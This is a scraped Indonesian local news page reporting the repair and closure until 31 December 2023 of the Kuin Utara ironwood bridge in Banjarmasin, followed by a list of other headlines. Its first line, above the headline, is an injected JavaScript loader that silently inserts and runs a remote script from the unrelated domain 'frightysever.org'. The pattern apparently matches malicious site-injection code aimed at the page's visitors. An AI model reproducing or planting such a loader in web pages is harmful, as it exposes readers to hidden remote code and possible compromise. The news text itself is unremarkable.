(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jembatan Ulin Kuin Utara Akhirnya Diperbaiki, Jalan Ditutup hingga 31 Desember


KANALKALIMANTAN.COM, BANJARMASIN – Penantian panjang warga yang menunggu perbaikan jembatan ulin rusak dan menimbulkan bunyi berisik di Jalan Alalak Utara, Kecamatan Banjarmasin Utara, Kota Banjarmasin, akhirnya mendapat titik terang.

Sebab, Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kota Banjarmasin dikabarkan telah menganggarkan dana perbaikan jembatan yang tepat berada persis di depan Masjid Sultan Suriansyah.

Kabar perbaikan dikonfirmasi langsung oleh Sub Kordinator Jembatan Bidang Jembatan dan Jalan PUPR Banjarmasin, Ir Damayanti.

“Iya mau diperbaiki, kemungkinan (dimulai hari ini),” katanya Ir Damayanti, Senin (4/12/2023) pagi.

Baca juga: Dubes Palestina: Rakyat Kami Harus Berpindah-pindah Wilayah, Kami Hanya Inginkan Perdamaian!

Sementara itu, pantauan Kanalkalimantan.com Senin (4/12/2023) siang, di ujung jembatan terdapat spanduk bertuliskan penutupan jembatan selama proses perbaikan. “Maaf jalan ditutup sementara ada perbaikan dari 4 Desember sampai dengan 31 Desember 2023,” bunyi tulisan spanduk.

Jembatan ulin tersebut sudah mulai dilakukan pembongkaran, terutama pada bagian lantai dasar jembatan.

Baca juga: Momentum HUT ke-52 Korpri, ASN Pemko Banjarbaru Siap Go Digital

Meski sudah ada papan peringatan perbaikan, pengendara sepeda motor dan mobil sampai dengan Senin (4/12/2023) siang, masih ada yang nekat melewati badan jembatan, sebab sebagian lantai jembatan belum dibongkar.

Di sekitar jembatan juga terdapat 4 buah tiang ulin besar yang kemungkinan akan dimanfaatkan sebagai tiang pancang jembatan.

Sementara papan informasi proyek nampak telah terpasang di salah satu sisi jembatan. Di papan proyek tertulis nama pekerjaan yaitu pemeliharaan rutin jembatan Kuin Utara 02 dengan kontraktor CV Dharma Indah Abadi.

Nilai kontrak yang tertera yaitu sebesar Rp198.704.000 dengan waktu 60 hari kalender. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

3 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

3 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

4 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

8 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

10 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

10 jam ago

This website uses cookies.